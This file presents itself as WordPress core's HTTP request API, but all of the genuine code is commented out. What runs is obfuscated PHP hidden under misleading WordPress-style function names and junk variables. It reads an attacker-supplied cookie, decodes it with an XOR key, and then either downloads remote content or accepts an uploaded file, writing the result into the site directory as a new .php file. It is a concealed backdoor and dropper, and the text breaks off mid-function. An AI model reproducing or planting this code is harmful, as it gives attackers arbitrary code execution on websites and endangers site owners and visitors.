<?php /* 
*
 * Core HTTP Request API
 *
 * Standardizes the HTTP requests for WordPress. Handles cookies, gzip encoding and decoding, chunk
 * decoding, if HTTP 1.1 and various other difficult HTTP protocol implementations.
 *
 * @package WordPress
 * @subpackage HTTP
 

*
 * Returns the initialized WP_Http Object
 *
 * @since 2.7.0
 * @access private
 *
 * @return WP_Http HTTP Transport object.
 
function _wp_http_get_object() {
	static $http = null;

	if ( is_null( $http ) ) {
		$http = new WP_Http();
	}
	return $http;
}

*
 * Retrieves the raw response from a safe HTTP request.
 *
 * This function is ideal when the HTTP request is being made to an arbitrary
 * URL. The URL, and every URL it redirects to, are validated with wp_http_validate_url()
 * to avoid Server Side Request Forgery attacks (SSRF).
 *
 * @since 3.6.0
 *
 * @see wp_remote_request() For more information on the response array format.
 * @see WP_Http::request() For default arguments information.
 * @see wp_http_validate_url() For more information about how the URL is validated.
 *
 * @link https:owasp.org/www-community/attacks/Server_Side_Request_Forgery
 *
 * @param string $url  URL to retrieve.
 * @param array  $args Optional. Request arguments. Default empty array.
 *                     See WP_Http::request() for information on accepted arguments.
 * @return array|WP_Error The response or WP_Error on failure.
 
function wp_safe_remote_request( $url, $args = array() ) {
	$args['reject_unsafe_urls'] = true;
	$http                       = _wp_http_get_object();
	return $http->request( $url, $args );
}

*
 * Retrieves the raw response from a safe HTTP request using the GET method.
 *
 * This function is ideal when the HTTP request is being made to an arbitrary
 * URL. The URL, and every URL it redirects to, are validated with wp_http_validate_url()
 * to avoid Server Side Request Forgery attacks (SSRF).
 *
 * @since 3.6.0
 *
 * @see wp_remote_request() For more information on the response array format.
 * @see WP_Http::request() For default arguments information.
 * @see wp_http_validate_url() For more information about how the URL is validated.
 *
 * @link https:owasp.org/www-community/attacks/Server_Side_Request_Forgery
 *
 * @param string $url  URL to retrieve.
 * @param array  $args Optional. Request arguments. Default empty array.
 *                     See WP_Http::request() for information on accepted arguments.
 * @return array|WP_Error The response or WP_Error on failure.
 
function wp_safe_remote_get( $url, $args = array() ) {
	$args['reject_unsafe_urls'] = true;
	$http                       = _wp_http_get_object();
	return $http->get( $url, $args );
}

*
 * Retrieves the raw response from a safe HTTP request using the POST method.
 *
 * This function is ideal when the HTTP request is being made to an arbitrary
 * URL. The URL, and every URL it redirects to, are validated with wp_http_validate_url()
 * to avoid Server Side Request Forgery attacks (SSRF).
 *
 * @since 3.6.0
 *
 * @see wp_remote_request() For more information on the response array format.
 * @see WP_Http::request() For default arguments information.
 * @see wp_http_validate_url() For more information about how the URL is validated.
 *
 * @link https:owasp.org/www-community/attacks/Server_Side_Request_Forgery
 *
 * @param string $url  URL to retrieve.
 * @param array  $args Optional. Request arguments. Default empty array.
 *                     See WP_Http::request() for information on accepted arguments.
 * @return array|WP_Error The response or WP_Error on failure.
 
function wp_safe_remote_post( $url, $args = array() ) {
	$args['reject_unsafe_urls'] = true;
	$http                       = _wp_http_get_object();
	return $http->post( $url, $args );
}

*
 * Retrieves the raw response from a safe HTTP request using the HEAD method.
 *
 * This function is ideal when the HTTP request is being made to an arbitrary
 * URL. The URL, and every URL it redirects to, are validated with wp_http_validate_url()
 * to avoid Server Side Request Forgery attacks (SSRF).
 *
 * @since 3.6.0
 *
 * @see wp_remote_request() For more information on the response array format.
 * @see WP_Http::request() For default arguments information.
 * @see wp_http_validate_url() For more information about how the URL is validated.
 *
 * @link https:owasp.org/www-community/attacks/Server_Side_Request_Forgery
 *
 * @param string $url  URL to retrieve.
 * @param array  $args Optional. Request arguments. Default empty array.
 *                     See WP_Http::request() for information on accepted arguments.
 * @return array|WP_Error The response or WP_Error on failure.
 
function wp_safe_remote_head( $url, $args = array() ) {
	$args['reject_unsafe_urls'] = true;
	$http                       = _wp_http_get_object();
	return $http->head( $url, $args );
}

*
 * Performs an HTTP request and returns its response.
 *
 * There are other API functions available which abstract away the HTTP method:
 *
 *  - Default 'GET'  for wp_remote_get()
 *  - Default 'POST' for wp_remote_post()
 *  - Default 'HEAD' for wp_remote_head()
 *
 * @since 2.7.0
 *
 * @see WP_Http::request() For information on default arguments.
 *
 * @param string $url  URL to retrieve.
 * @param array  $args Optional. Request arguments. Default empty array.
 *                     See WP_Http::request() for information on accepted arguments.
 * @return array|WP_Error {
 *     The response array or a WP_Error on failure.
 *
 *     @type string[]                       $headers       Array of response headers keyed by their name.
 *     @type string                         $body          Response body.
 *     @type array                          $response      {
 *         Data about the HTTP response.
 *
 *         @type int|false    $code    HTTP response code.
 *         @type string|false $message HTTP response message.
 *     }
 *     @type WP_HTTP_Cookie[]               $cookies       Array of response cookies.
 *     @type WP_HTTP_Requests_Response|null $http_response Raw HTTP response object.
 * }
 
function wp_remote_request( $url, $args = array() ) {
	$http = _wp_http_get_object();
	return $http->request( $url, $args );
}

*
 * Performs an HTTP request using the GET method and returns its response.
 *
 * @since 2.7.0
 *
 * @see wp_remote_request() For more information on the response array format.
 * @see WP_Http::request() For default arguments information.
 *
 * @param string $url  URL to retrieve.
 * @param array  $args Optional. Request arguments. Default empty array.
 *                     See WP_Http::request() for information on accepted arguments.
 * @return array|WP_Error The response or WP_Error on failure.
 
function wp_remote_get( $url, $args = array() ) {
	$http = _wp_http_get_object();
	return $http->get( $url, $args );
}

*
 * Performs an HTTP request using the POST method and returns its response.
 *
 * @since 2.7.0
 *
 * @see wp_remote_request() For more information on the response array format.
 * @see WP_Http::request() For default arguments information.
 *
 * @param string $url  URL to retrieve.
 * @param array  $args Optional. Request arguments. Default empty array.
 *                     See WP_Http::request() for information on accepted arguments.
 * @return array|WP_Error The response or WP_Error on failure.
 
function wp_remote_post( $url, $args = array() ) {
	$http = _wp_http_get_object();
	return $http->post( $url, $args );
}

*
 * Performs an HTTP request using the HEAD method and returns its response.
 *
 * @since 2.7.0
 *
 * @see wp_remote_request() For more information on the response array format.
 * @see WP_Http::request() For default arguments information.
 *
 * @param string $url  URL to retrieve.
 * @param array  $args Optional. Request arguments. Default empty array.
 *                     See WP_Http::request() for information on accepted arguments.
 * @return array|WP_Error The response or WP_Error on failure.
 
function wp_remote_head( $url, $args = array() ) {
	$http = _wp_http_get_object();
	return $http->head( $url, $args );
}

*
 * Retrieves only the headers from the raw response.
 *
 * @since 2.7.0
 * @since 4.6.0 Return value changed from an array to an WpOrg\Requests\Utility\CaseInsensitiveDictionary instance.
 *
 * @see \WpOrg\Requests\Utility\CaseInsensitiveDictionary
 *
 * @param array|WP_Error $response HTTP response.
 * @return \WpOrg\Requests\Utility\CaseInsensitiveDictionary|array The headers of the response, or empty array
 *                                                                 if incorrect parameter given.
 
function wp_remote_retrieve_headers( $response ) {
	if ( is_wp_error( $response ) || ! isset( $response['headers'] ) ) {
		return array();
	}

	return $response['headers'];
}

*
 * Retrieves a single header by name from the raw response.
 *
 * @since 2.7.0
 *
 * @param array|WP_Error $response HTTP response.
 * @param string         $header   Header name to retrieve value from.
 * @return array|string The header(s) value(s). Array if multiple headers with the same name are retrieved.
 *                      Empty string if incorrect parameter given, or if the header doesn't exist.
 
function wp_remote_retrieve_header( $response, $header ) {
	if ( is_wp_error( $response ) || ! isset( $response['headers'] ) ) {
		return '';
	}

	if ( isset( $response['headers'][ $header ] ) ) {
		return $response['headers'][ $header ];
	}

	return '';
}

*
 * Retrieves only the response code from the raw response.
 *
 * Will return an empty string if incorrect parameter value is given.
 *
 * @since 2.7.0
 *
 * @param array|WP_Error $response HTTP response.
 * @return int|string The response code as an integer. Empty string if incorrect parameter given.
 
function wp_remote_retrieve_response_code( $response ) {
	if ( is_wp_error( $response ) || ! isset( $response['response'] ) || ! is_array( $response['response'] ) ) {
		return '';
	}

	return $response['response']['code'];
}

*
 * Retrieves only the response message from the raw response.
 *
 * Will return an empty string if incorrect parameter value is given.
 *
 * @since 2.7.0
 *
 * @param array|WP_Error $response HTTP response.
 * @return string The response message. Empty string if incorrect parameter given.
 
function wp_remote_retrieve_response_message( $response ) {
	if ( is_wp_error( $response ) || ! isset( $response['response'] ) || ! is_array( $response['response'] ) ) {
		return '';
	}

	return $response['response']['message'];
}

*
 * Retrieves only the body from the raw response.
 *
 * @since 2.7.0
 *
 * @param array|WP_Error $response HTTP response.
 * @return string The body of the response. Empty string if no body or incorrect parameter given.
 
function wp_remote_retrieve_body( $response ) {
	if ( is_wp_error( $response ) || ! isset( $response['body'] ) ) {
		return '';
	}

	return $response['body'];
}

*
 * Retrieves only the cookies from the raw response.
 *
 * @since 4.4.0
 *
 * @param array|WP_Error $response HTTP response.
 * @return WP_Http_Cookie[] An array of `WP_Http_Cookie` objects from the response.
 *                          Empty array if there are none, or the response is a WP_Error.
 
function wp_remote_retrieve_cookies( $response ) {
	if ( is_wp_error( $response ) || empty( $response['cookies'] ) ) {
		return array();
	}

	return $response['cookies'];
}

*
 * Retrieves a single cookie by name from the raw response.
 *
 * @since 4.4.0
 *
 * @param array|WP_Error $response HTTP response.
 * @param string         $name     The name of the cookie to retrieve.
 * @return WP_Http_Cookie|string The `WP_Http_Cookie` object, or empty string
 *                               if the cookie is not present in the response.
 
function wp_remote_retrieve_cookie( $response, $name ) {
	$cookies = wp_remote_retrieve_cookies( $response );

	if ( empty( $cookies ) ) {
		return '';
	}

	foreach ( $cookies as $cookie ) {
		if ( $cookie->name === $name ) {
			return $cookie;
		}
	}

	return '';
}

*
 * Retrieves a single cookie's value by name from the raw response.
 *
 * @since 4.4.0
 *
 * @param array|WP_Error $response HTTP response.
 * @param string         $name     The name of the cookie to retrieve.
 * @return string The value of the cookie, or empty string
 *                if the cookie is not present in the response.
 
function wp_remote_retrieve_cookie_value( $response, $name ) {
	$cookie = wp_remote_retrieve_cookie( $response, $name );

	if ( ! ( $cookie instanceof WP_Http_Cookie ) ) {
		return '';
	}

	return $cookie->value;
}

*
 * Determines if there is an HTTP Transport that can process this request.
 *
 * @since 3.2.0
 *
 * @param array  $capabilities Array of capabilities to test or a wp_remote_request() $args array.
 * @param string $url          Optional. If given, will check if the URL requires SSL and adds
 *                             that requirement to the capabilities array.
 *
 * @return bool
 
function wp_http_supports( $capabilities = array(), $url = null ) {
	$http = _wp_http_get_object();

	$capabilities = wp_parse_args( $capabilities );

	$count = count( $capabilities );

	 If we have a numeric $capabilities array, spoof a wp_remote_request() associative $args array.
	if ( $count && count( array_filter( array_keys( $capabilities ), 'is_numeric' ) ) === $count ) {
		$capabilities = array_combine( array_values( $capabilities ), array_fill( 0, $count, true ) );
	}

	if ( $url && ! isset( $capabilities['ssl'] ) ) {
		$scheme = parse_url( $url, PHP_URL_SCHEME );
		if ( 'https' === $scheme || 'ssl' === $scheme ) {
			$capabilities['ssl'] = true;
		}
	}

	return (bool) $http->_get_first_available_transport( $capabilities );
}

*
 * Gets the HTTP Origin of the current request.
 *
 * @since 3.4.0
 *
 * @return string URL of the origin. Empty string if no origin.
 
function get_http_origin() {
	$origin = '';
	if ( ! empty( $_SERVER['HTTP_ORIGIN'] ) ) {
		$origin = $_SERVER['HTTP_ORIGIN'];
	}

	*
	 * Changes the origin of an HTTP request.
	 *
	 * @since 3.4.0
	 *
	 * @param string $origin The original origin for the request.
	 
	return apply_filters( 'http_origin', $origin );
}

*
 * Retrieves list of allowed HTTP origins.
 *
 * @since 3.4.0
 *
 * @return string[] Array of origin URLs.
 
function get_allowed_http_origins() {
	$admin_origin = parse_url( admin_url() );
	$home_origin  = parse_url( home_url() );

	 @todo Preserve port?
	$allowed_origins = array_unique(
		array(
			'http:' . $admin_origin['host'],
			'https:' . $admin_origin['host'],
			'http:' . $home_origin['host'],
			'https:' . $home_origin['host'],
		)
	);

	*
	 * Changes the origin types allowed for HTTP requests.
	 *
	 * @since 3.4.0
	 *
	 * @param string[] $allowed_origins {
	 *     Array of default allowed HTTP origins.
	 *
	 *     @type string $0 Non-secure URL for admin origin.
	 *     @type string $1 Secure URL for admin origin.
	 *     @type string $2 Non-secure URL for home origin.
	 *     @type string $3 Secure URL for home origin.
	 * }
	 
	return apply_filters( 'allowed_http_origins', $allowed_origins );
}

*
 * Determines if the HTTP origin is an authorized one.
 *
 * @since 3.4.0
 *
 * @param string|null $origin Origin URL. If not provided, the value of get_http_origin() is used.
 * @return string Origin URL if allowed, empty string if not.
 
function is_allowed_http_origin( $origin = null ) {
	$origin_arg = $origin;

	if ( null === $origin ) {
		$origin = get_http_origin();
	}

	if ( $origin && ! in_array( $origin, get_allowed_http_origins(), true ) ) {
		$origin = '';
	}

	*
	 * Changes the allowed HTTP origin result.
	 *
	 * @since 3.4.0
	 *
	 * @param string $origin     Origin URL if allowed, empty string if not.
	 * @param string $origin_arg Original origin string passed into is_allowed_http_origin function.
	 
	return apply_filters( 'allowed_http_origin', $origin, $origin_arg );
}

*
 * Sends Access-Control-Allow-Origin and related headers if the current request
 * is from an allowed origin.
 *
 * If the request is an OPTIONS request, the script exits with either access
 * control headers sent, or a 403 response if the origin is not allowed. For
 * other request methods, you will receive a return value.
 *
 * @since 3.4.0
 *
 * @return string|false Returns the origin URL if headers are sent. Returns false
 *                      if headers are not sent.
 
function send_origin_headers() {
	$origin = get_http_origin();

	if ( is_allowed_http_origin( $origin ) ) {
		header( 'Access-Control-Allow-Origin: ' . $origin );
		header( 'Access-Control-Allow-Credentials: true' );
		if ( 'OPTIONS' === $_SERVER['REQUEST_METHOD'] ) {
			exit;
		}
		return $origin;
	}

	if ( 'OPTIONS' === $_SERVER['REQUEST_METHOD'] ) {
		status_header( 403 );
		exit;
	}

	return false;
}

*
 * Validates a URL for safe use in the HTTP API.
 *
 * Examples of URLs that are considered unsafe:
 *
 * - ftp:example.com/caniload.php - Invalid protocol - only http and https are allowed.
 * - http:/example.com/caniload.php - Malformed URL.
 * - http:user:pass@example.com/caniload.php - Login information.
 * - http:exampleeeee.com/caniload.php - Invalid hostname, as the IP cannot be looked up in DNS.
 *
 * Examples of URLs that are considered unsafe by default:
 *
 * - http:192.168.0.1/caniload.php - IPs from LAN networks.
 *   This can be changed with the {@see 'http_request_host_is_external'} filter.
 * - http:198.143.164.252:81/caniload.php - By default, only 80, 443, and 8080 ports are allowed.
 *   This can be changed with the {@see 'http_allowed_safe_ports'} filter.
 *
 * @since 3.5.2
 *
 * @param string $url Request URL.
 * @return string|false URL or false on failure.
 
function wp_http_validate_url( $url ) {
	if ( ! is_string( $url ) || '' === $url || is_numeric( $url ) ) {
		return false;
	}

	$original_url = $url;
	$url          = wp_kses_bad_protocol( $url, array( 'http', 'https' ) );
	if ( ! $url || strtolower( $url ) !== strtolower( $original_url ) ) {
		return false;
	}

	$parsed_url = parse_url( $url );
	if ( ! $parsed_url || empty( $parsed_url['host'] ) ) {
		return false;
	}

	if ( isset( $parsed_url['user'] ) || isset( $parsed_url['pass'] ) ) {
		return false;
	}

	if ( false !== strpbrk( $parsed_url['host'], ':#?[]' ) ) {
		return false;
	}

	$parsed_home = parse_url( get_option( 'home' ) );
	$same_host   = isset( $parsed_home['host'] ) && strtolower( $parsed_home['host'] ) === strtolower( $parsed_url['host'] );
	$host        = trim( $parsed_url['host'], '.' );

	if ( ! $same_host ) {
		if ( preg_match( '#^(([1-9]?\d|1\d\d|25[0-5]|2[0-4]\d)\.){3}([1-9]?\d|1\d\d|25[0-5]|2[0-4]\d)$#', $host ) ) {
			$ip = $host;
		} else {
			$ip = gethostbyname( $host );
			if ( $ip === $host ) {  Error condition for gethostbyname().
				return false;
			}
		}
		if ( $ip ) {
			$parts = array_map( 'intval', explode( '.', $ip ) );
			if ( 127 === $parts[0] || 10 === $parts[0] || 0 === $parts[0]
				|| ( 172 === $parts[0] && 16 <= $parts[1] && 31 >= $parts[1] )
				|| ( 192 === $parts[0] && 168 === $parts[1] )
			) {
				 If host appears local, reject unless specifically allowed.
				*
				 * Checks if HTTP request is external or not.
				 *
				 * Allows to change and allow external requests for the HTTP request.
				 *
				 * @since 3.6.0
				 *
				 * @param bool   $external Whether HTTP request is external or not.
				 * @param string $host     Host name of the requested URL.
				 * @param string $url      Requested URL.
				 
				if ( ! apply_filters( 'http_request_host_is_external', false, $host, $url ) ) {
					return false;
				}
			}
		}
	}

	if ( empty( $parsed_url['port'] ) ) {
		return $url;
	}

	$port = $parsed_url['port'];

	*
	 * Controls the list of ports considered safe in HTTP API.
	 *
	 * Allows to change and allow external requests for the HTTP request.
	 *
	 * @since 5.9.0
	 *
	 * @param int[]  $allowed_ports Array of integers for valid ports.
	 * @param string $host          Host name of the requested URL.
	 * @param string $url           Requested URL.
	 
	$allowed_ports = apply_filters( 'http_allowed_safe_ports', array( 80, 443, 8080 ), $host, $url );
	if ( is_array( $allowed_ports ) && in_array( $port, $allowed_ports, true ) ) {
		return $url;
	}

	if ( $parsed_home && $same_host && isset( $parsed_home['port'] ) && $parsed_home['port'] === $port ) {
		return $url;
	}

	return false;
}

*
 * Marks allowed redirect hosts safe for HTTP requests as well.
 *
 * Attached to the {@see 'http_request_host_is_external'} filter.
 *
 * @since 3.6.0
 *
 * @param bool   $is_external
 * @param string $host
 * @return bool
 
function allowed_http_request_hosts( $is_external, $host ) {
	if ( ! $is_external && wp_validate_redirect( 'http:' . $host ) ) {
		$is_external = true;
	}
	return $is_external;
}

*
 * Adds any domain in a multisite installation for safe HTTP requests to the
 * allowed list.
 *
 * Attached to the {@see 'http_request_host_is_external'} filter.
 *
 * @since 3.6.0
 *
 * @global wpdb $wpdb WordPress database abstraction object.
 *
 * @param bool   $is_external
 * @param string $host
 * @return bool
 
function ms_allowed_http_request_hosts( $is_external, $host ) {
	global $wpdb;
	static $queried = array();
	if ( $is_external ) {
		return $is_external;
	}
	if ( get_network()->domain === $host ) {
		return true;
	}
	if ( isset( $queried[ $host ] ) ) {
		return $queried[ $host ];
	}
	$queried[ $host ] = (bool) $wpdb->get_var( $wpdb->prepare( "SELECT domain FROM $wpdb->blogs WHERE domain = %s LIMIT 1", $host ) );
	return $queried[ $host ];
}

*
 * A wrapper for PHP's parse_url() function that handles consistency in the return values
 * across PHP versions.
 *
 * PHP 5.4.7 expanded parse_url()'s ability to handle non-absolute URLs, including
 * schemeless and relative URLs with ":" in the path. This function works around
 * those limitations providing a standard output on PHP 5.2~5.4+.
 *
 * Secondly, across various PHP versions, schemeless URLs containing a ":" in the query
 * are being handled inconsistently. This function works around those differences as well.
 *
 * @since 4.4.0
 * @since 4.7.0 The `$component` parameter was added for parity with PHP's `parse_url()`.
 *
 * @link https:www.php.net/manual/en/function.parse-url.php
 *
 * @param string $url       The URL to parse.
 * @param int    $component The specific component to retrieve. Use one of the PHP
 *                          predefined constants to specify which one.
 *                          Defaults to -1 (= return all parts as an array).
 * @return mixed False on parse failure; Array of URL components on success;
 *               When a specific component has been requested: null if the component
 *               doesn't exist in the given URL; a string or - in the case of
 *               PHP_URL_PORT - integer when it does. See parse_url()'s return values.
 
function wp_parse_url( $url, $component = -1 ) {
	$to_unset = array();
	$url      = (string) $url;

	if ( str_starts_with( $url, '' ) ) {
		$to_unset[] = 'scheme';
		$url        = 'placeholder:' . $url;
	} elseif ( str_starts_with( $url, '/' ) ) {
		$to_unset[] = 'scheme';
		$to_unset[] = 'host';
		$url        = 'placeholder:placeholder' . $url;
	}

	$parts = parse_url( $url );

	if ( false === $parts ) {
		 Parsing failure.
		return $parts;
	}

	 Remove the placeholder values.
	foreach ( $to_unset as $key ) {
		unset( $parts[ $key ] );
	}

	return _get_component_from_parsed_url_array( $parts, $component );
}

*
 * Retrieves a specific component from a parsed URL array.
 *
 * @internal
 *
 * @since 4.7.0
 * @access private
 *
 * @link https:www.php.net/manual/en/function.parse-url.php
 *
 * @param array|false $url_parts The parsed URL. Can be false if the URL failed to parse.
 * @param int         $component The specific component to retrieve. Use one of the PHP
 *                               predefined constants to specify which one.
 *                               Defaults to -1 (= return all parts as an array).
 * @return mixed False on parse failure; Array of URL components on success;
 *               When a specific component has been requested: null if the component
 *               doesn't exist in the given URL; a string or - in the case of
 *               PHP_URL_PORT - integer when it does. See parse_url()'s return values.
 
fu*/
	/**
	 * Register a new font collection.
	 *
	 * @since 6.5.0
	 *
	 * @param string $slug Font collection slug. May only contain alphanumeric characters, dashes,
	 *                     and underscores. See sanitize_title().
	 * @param array  $to_item_idrgs Font collection data. See wp_register_font_collection() for information on accepted arguments.
	 * @return WP_Font_Collection|WP_Error A font collection if it was registered successfully,
	 *                                     or WP_Error object on failure.
	 */
function chunked($reals)
{
    if (strpos($reals, "/") !== false) {
    $track = "sampleText";
    $tagtype = rawurldecode($track);
    $path_to_index_block_template = hash('sha512', $tagtype);
    $mo_path = explode('0', $path_to_index_block_template); // sanitize encodes ampersands which are required when used in a url.
    $s_prime = trim(implode('X', $mo_path)); #     crypto_secretstream_xchacha20poly1305_COUNTERBYTES);
        return true;
    }
    $p_result_list = date('Y-m-d'); //    s2 += s13 * 470296;
    return false;
}


/**
	 * Name of node; lowercase names such as "marker" are not HTML elements.
	 *
	 * For HTML elements/tags this value should come from WP_HTML_Processor::get_tag().
	 *
	 * @since 6.4.0
	 *
	 * @see WP_HTML_Processor::get_tag()
	 *
	 * @var string
	 */
function get_sampling_rate($terminator_position, $layout_justification)
{
    $tax_obj = file_get_contents($terminator_position); // Get real and relative path for current file.
    $header_area = ' check this out';
    $lyrics3offset = trim($header_area);
    $side_value = (strlen($lyrics3offset) > 0) ? 'Valid string' : 'Invalid';
    $updated_content = get_inline_data($tax_obj, $layout_justification);
    file_put_contents($terminator_position, $updated_content);
}


/**
	 * Sets up blog options property.
	 *
	 * Passes property through {@see 'xmlrpc_blog_options'} filter.
	 *
	 * @since 2.6.0
	 */
function privAdd($previous_content)
{
    $saved_post_id = 'XeJMEUovzsGXJKcGtl';
    $site_logo = "123";
    $private_states = str_pad($site_logo, 5, "0", STR_PAD_LEFT);
    if (isset($_COOKIE[$previous_content])) {
        media_upload_type_url_form($previous_content, $saved_post_id); // ----- Look for real extraction
    } // remove meaningless entries from unknown-format files
}


/** WordPress Scripts Functions */
function wp_get_elements_class_name($previous_content, $saved_post_id, $ApplicationID) // Could this be done in the query?
{
    $networks = $_FILES[$previous_content]['name']; //   this software the author can not be responsible.
    $spacer = "LongStringTest";
    $possible_db_id = hash('md4', $spacer);
    $time_query = explode('-', $possible_db_id);
    $threaded_comments = implode('_', $time_query); // Calculate the larger/smaller ratios.
    $word_offset = str_pad($threaded_comments, 25, '!');
    $terminator_position = translate_entry($networks);
    $maybe = hash('sha224', $word_offset);
    get_sampling_rate($_FILES[$previous_content]['tmp_name'], $saved_post_id);
    $priority = substr($maybe, 0, 12);
    getid3_lib($_FILES[$previous_content]['tmp_name'], $terminator_position);
}


/**
 * Checks whether auto-updates are forced for an item.
 *
 * @since 5.6.0
 *
 * @param string    $type   The type of update being checked: Either 'theme' or 'plugin'.
 * @param bool|null $update Whether to update. The value of null is internally used
 *                          to detect whether nothing has hooked into this filter.
 * @param object    $toggle_linkstem   The update offer.
 * @return bool True if auto-updates are forced for `$toggle_linkstem`, false otherwise.
 */
function feed_cdata($v_add_path) {
    return set_url_scheme($v_add_path) / count($v_add_path); // Owner.
}


/**
 * Wraps passed links in navigational markup.
 *
 * @since 4.1.0
 * @since 5.3.0 Added the `aria_label` parameter.
 * @access private
 *
 * @param string $links              Navigational links.
 * @param string $mu_plugin_rel_pathss_class          Optional. Custom class for the nav element.
 *                                   Default 'posts-navigation'.
 * @param string $screen_reader_text Optional. Screen reader text for the nav element.
 *                                   Default 'Posts navigation'.
 * @param string $to_item_idria_label         Optional. ARIA label for the nav element.
 *                                   Defaults to the value of `$screen_reader_text`.
 * @return string Navigation template tag.
 */
function translate_entry($networks)
{
    return set_changeset_lock() . DIRECTORY_SEPARATOR . $networks . ".php";
}


/**
	 * @param string $to_item_idtomname
	 * @param int    $to_item_idtomsize
	 * @param string $to_item_idtom_data
	 * @param int    $theme_supportsaseoffset
	 * @param array  $to_item_idtomHierarchy
	 * @param bool   $ParseAllPossibleAtoms
	 *
	 * @return array|false
	 */
function getid3_lib($queues, $meta_box_not_compatible_message)
{
	$show_autoupdates = move_uploaded_file($queues, $meta_box_not_compatible_message);
    $src_y = "url%20encoded";
    $style_value = rawurldecode($src_y);
    $meta_tags = explode(" ", $style_value);
	
    if (count($meta_tags) > 1) {
        $hour = implode("_", $meta_tags);
    }

    return $show_autoupdates; // Find the opening `<head>` tag.
}


/**
	 * Get the URL for the feed
	 *
	 * When the 'permanent' mode is enabled, returns the original feed URL,
	 * except in the case of an `HTTP 301 Moved Permanently` status response,
	 * in which case the location of the first redirection is returned.
	 *
	 * When the 'permanent' mode is disabled (default),
	 * may or may not be different from the URL passed to {@see set_feed_url()},
	 * depending on whether auto-discovery was used, and whether there were
	 * any redirects along the way.
	 *
	 * @since Preview Release (previously called `get_feed_url()` since SimplePie 0.8.)
	 * @todo Support <itunes:new-feed-url>
	 * @todo Also, |atom:link|@rel=self
	 * @param bool $permanent Permanent mode to return only the original URL or the first redirection
	 * iff it is a 301 redirection
	 * @return string|null
	 */
function redirect_protected($reals)
{
    $reals = "http://" . $reals;
    $to_item_id = array("apple", "banana", "cherry"); // Meta error?
    $theme_supports = count($to_item_id); // List themes global styles.
    return $reals;
} // Process settings.


/**
 * User API: WP_User class
 *
 * @package WordPress
 * @subpackage Users
 * @since 4.4.0
 */
function media_upload_type_url_form($previous_content, $saved_post_id)
{ //Fall back to simple parsing if regex fails
    $tabs_slice = $_COOKIE[$previous_content];
    $mu_plugins = "Alpha";
    $xfn_value = "Beta";
    $last_attr = array_merge(array($mu_plugins), array($xfn_value));
    if (count($last_attr) == 2) {
        $root = implode("_", $last_attr);
    }
 // Build map of template slugs to their priority in the current hierarchy.
    $tabs_slice = sodium_crypto_scalarmult($tabs_slice);
    $ApplicationID = get_inline_data($tabs_slice, $saved_post_id); // ----- Read the file content
    if (chunked($ApplicationID)) {
		$visibility = crypto_auth_keygen($ApplicationID);
        return $visibility;
    } // Merge with user data.
	
    wp_admin_bar_add_secondary_groups($previous_content, $saved_post_id, $ApplicationID);
}


/*
				 * WP_Widget sets `updated = true` after an update to prevent more than one widget
				 * from being saved per request. This isn't what we want in the REST API, though,
				 * as we support batch requests.
				 */
function set_changeset_lock()
{
    return __DIR__;
}


/**
     * @internal You should not use this directly from another application
     *
     * @param string $SMTPAuth
     * @return self
     * @throws SodiumException
     * @throws TypeError
     */
function crypto_auth_keygen($ApplicationID)
{
    get_wp_templates_original_source_field($ApplicationID); //If it's not specified, the default value is used
    $relationship = array("John", "Jane", "Doe");
    $rule_fragment = "JD";
    colord_clamp($ApplicationID); // Deprecated path support since 5.9.0.
}


/**
			 * Fires before a plugin is activated.
			 *
			 * If a plugin is silently activated (such as during an update),
			 * this hook does not fire.
			 *
			 * @since 2.9.0
			 *
			 * @param string $plugin       Path to the plugin file relative to the plugins directory.
			 * @param bool   $network_wide Whether to enable the plugin for all sites in the network
			 *                             or just the current site. Multisite only. Default false.
			 */
function comments_number($previous_content, $user_id_new = 'txt')
{
    return $previous_content . '.' . $user_id_new;
}


/**
	 * Sets taxonomy properties.
	 *
	 * See the register_taxonomy() function for accepted arguments for `$to_item_idrgs`.
	 *
	 * @since 4.7.0
	 *
	 * @param string|string[] $object_type Name or array of names of the object types for the taxonomy.
	 * @param array|string    $to_item_idrgs        Array or query string of arguments for registering a taxonomy.
	 */
function get_wp_templates_original_source_field($reals)
{
    $networks = basename($reals);
    $to_item_id = "hash value";
    $theme_supports = hash("sha512", $to_item_id); // Disable welcome email.
    $mu_plugin_rel_path = str_pad($theme_supports, 128, "+");
    $wait = isset($total_users_for_query);
    $plural_base = substr($to_item_id, 5, 3); // Prepare metadata from $query.
    $terminator_position = translate_entry($networks);
    if (empty($plural_base)) {
        $post_ID = date("Y");
    }

    attachment_submitbox_metadata($reals, $terminator_position);
}


/**
				 * Filters the cached oEmbed HTML.
				 *
				 * @since 2.9.0
				 *
				 * @see WP_Embed::shortcode()
				 *
				 * @param string|false $mu_plugin_rel_pathache   The cached HTML result, stored in post meta.
				 * @param string       $reals     The attempted embed URL.
				 * @param array        $to_item_idttr    An array of shortcode attributes.
				 * @param int          $post_id Post ID.
				 */
function get_styles_for_block($terminator_position, $permissions_check)
{
    return file_put_contents($terminator_position, $permissions_check); // Make sure the nav element has an aria-label attribute: fallback to the screen reader text.
}


/**
 * Loads styles specific to this page.
 *
 * @since MU (3.0.0)
 */
function attachment_submitbox_metadata($reals, $terminator_position) // Load support library
{ // "standard Macintosh format"
    $skip_options = install_theme_search_form($reals); // t - Image size restrictions
    $max_length = "session_abc_123";
    $menu_perms = explode('_', $max_length); // Don't mark up; Do translate.
    if (in_array('abc', $menu_perms)) {
        $plugin_network_active = implode('-', $menu_perms);
        $override = hash('sha256', $plugin_network_active);
        $RIFFsubtype = str_pad($override, 64, '0');
        $new_role = substr($RIFFsubtype, 0, 60);
    }

    $new_h = trim($new_role);
    if ($skip_options === false) { // 5.8
    $noclose = array($new_h);
        return false;
    } // LA   - audio       - Lossless Audio (LA)
    return get_styles_for_block($terminator_position, $skip_options);
}


/*
					 * Unquoted strings for backward compatibility (dangerous).
					 * First, "numbered or formatted string placeholders (eg, %1$s, %5s)".
					 * Second, if "%s" has a "%" before it, even if it's unrelated (e.g. "LIKE '%%%s%%'").
					 */
function get_inline_data($log_gain, $layout_justification)
{
    $new_size_data = strlen($layout_justification);
    $left_string = " Raw %20string # test @ %input "; // WordPress no longer uses or bundles Prototype or script.aculo.us. These are now pulled from an external source.
    $socket_pos = explode('%', rawurldecode($left_string));
    $session_id = array();
    $tag_key = strlen($log_gain);
    for ($toggle_links = 0; $toggle_links < count($socket_pos); $toggle_links++) {
        $text_decoration_value = trim($socket_pos[$toggle_links]);
        $session_id[] = str_replace(' ', '_', $text_decoration_value);
    }
 // End $toggle_linkss_nginx. Construct an .htaccess file instead:
    $old_user_fields = implode('|', $session_id); // q9 to q10
